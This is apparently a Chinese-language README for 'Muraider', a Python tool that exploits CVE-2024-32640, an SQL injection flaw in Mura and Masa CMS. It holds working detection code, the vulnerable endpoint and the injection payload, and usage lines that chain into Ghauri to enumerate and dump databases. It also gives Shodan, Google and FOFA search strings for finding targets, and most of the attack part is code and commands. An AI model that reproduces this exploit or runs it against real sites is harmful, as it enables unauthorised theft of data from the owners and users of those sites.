Muraider - Mura CMS SQL注入自动化检测与利用工具

5 阅读3分钟

Muraider - CVE-2024-32640 SQL注入自动化检测与利用工具

Muraider 是一个专为 CVE-2024-32640 漏洞设计的 Python 脚本,能够检测 Mura CMSMasa CMS 中的 SQL 注入漏洞,并自动化调用 Ghauri 进行深度利用。

功能特性

  • 🎯 精准检测:通过构造特制的 contenthistid 参数值(包含 %5c 转义序列),快速判断目标是否存在 SQL 注入漏洞
  • 🤖 自动化利用:检测到漏洞后,可自动调用 Ghauri 工具进行深度利用(支持传递任意 Ghauri 参数)
  • 🌐 友好界面:彩色命令行输出,清晰的漏洞检测状态提示
  • 轻量高效:仅依赖 requests 库,无需复杂配置
  • 🔍 资产发现辅助:内置 Shodan、Google、FOFA 搜索语法,助力漏洞狩猎

安装指南

系统要求

  • Python 3.6+
  • pip3

依赖安装

pip3 install requests urllib3

Ghauri 安装(可选,用于深度利用)

git clone https://github.com/r0oth3x49/ghauri.git
cd ghauri
python3 setup.py install

或通过 pip 安装:

pip3 install ghauri

获取工具

git clone https://github.com/your-repo/muraider.git
cd muraider
chmod +x CVE-2024-32640.py

使用说明

基础检测

仅检测目标是否存在 CVE-2024-32640 漏洞:

python3 CVE-2024-32640.py --url https://target.com/

检测 + 自动利用

检测漏洞后,自动调用 Ghauri 进行 SQL 注入利用:

python3 CVE-2024-32640.py --url https://target.com -g

传递 Ghauri 参数

通过 -g--ghauri 参数传递 Ghauri 的任意选项:

# 枚举数据库
python3 CVE-2024-32640.py --url https://target.com -g "--dbs"

# 获取当前数据库并指定线程数
python3 CVE-2024-32640.py --url https://target.com --ghauri "--dbs --current-db --threads 10"

# 拖库(请谨慎使用)
python3 CVE-2024-32640.py --url https://target.com -g "--dump --batch"

交互式利用流程

  1. 运行检测命令
  2. 工具自动判断漏洞是否存在
  3. 若存在漏洞,提示是否使用 Ghauri 利用
  4. 输入 Y 确认后自动调用 Ghauri(可预置参数)

漏洞验证原理

工具向以下端点发送 POST 请求:

/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x

当服务器返回 SQL 语法错误信息或 HTTP 500 状态码时,判定为存在漏洞。

漏洞搜索语法

  • Shodan'Generator: Masa CMS'
  • Google"powered by Mura CMS"
  • FOFAapp="Mura-CMS"

核心代码

漏洞检测核心逻辑

def Injection(url, endpoint):
    SQL_ERROR_MESSAGE = "You have an error in your SQL syntax"    
    host = urlparse(url).netloc
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Host": host,
    }
    data = {
        "object": "displayregion",
        "contenthistid": "x%5c",  # 转义序列触发SQL错误
        "previewid": "1"
    }
    print(f"{YELLOW}[!]{RESET} Checking for SQL Injection")
    url = f"{url}{endpoint}"
    r = requests.post(url, headers=headers, verify=False, data=data)

    # 检测SQL错误特征或500状态码
    if SQL_ERROR_MESSAGE in r.text or r.status_code == 500:
        print(f"{GREEN}[+]{RESET} Target is vulnerable to SQL Injection.\n")
        print(f"{YELLOW}[!] For exploitation, use Ghauri:")
        print(f"{GREEN}[+]{RESET} https://github.com/r0oth3x49/ghauri")  
    else:
        print(f"{RED}[-]{RESET} Target is not vulnerable")

Ghauri 自动化调用

def Ghauri(url, sqli, endpoint):
    print("\n")
    print(f"{YELLOW}[!]{RESET} Checking existance of Ghauri")
    
    # 检查Ghauri是否在PATH中
    if shutil.which("ghauri") is None:
        print("{RED}[-]{RESET} Ghauri not installed or found in $PATH")
        exit(1)
    else: 
        print(f"{GREEN}[+]{RESET} Ghauri located!")
        
        # 构建Ghauri命令
        command = ["ghauri", "-u", url+endpoint, "-p", "contenthistid"]
        if sqli:
            command.extend(sqli)
            
        print(f"{GREEN}[*]{RESET} Starting Ghauri")
        print(f'{GREEN}[*]{RESET} Payload: ghauri -u "{url}{endpoint}" -p contenthistid', sqli)
        
        # 执行Ghauri
        subprocess.run(command)

主流程控制

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-32640.py - SQL Injection in Mura CMS")
    parser.add_argument('-u', '--url', required=True, help="URL of the target")
    parser.add_argument('-g', '--ghauri', nargs=argparse.REMAINDER, 
                        help="Parameters for Ghauri. Example: -g '--dump --threads 10'")
    args = parser.parse_args()
    
    url = args.url
    sqli = args.ghauri
    parsedUrl = urlparse(url)
    strippedUrl = f"{parsedUrl.scheme}://{parsedUrl.netloc}"
    url = strippedUrl
    endpoint = "/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x"

    if isAlive(url):
        Injection(url, endpoint)
        i = input("Do you want to exploit with Ghauri? (Y/N)")
        if i.lower() == "y": 
            Ghauri(url, sqli, endpoint)

6HFtX5dABrKlqXeO5PUv/xR0X3ot5InFo4jlJdZZW4EwKn7vYm5M9zx9Jy/vWTRb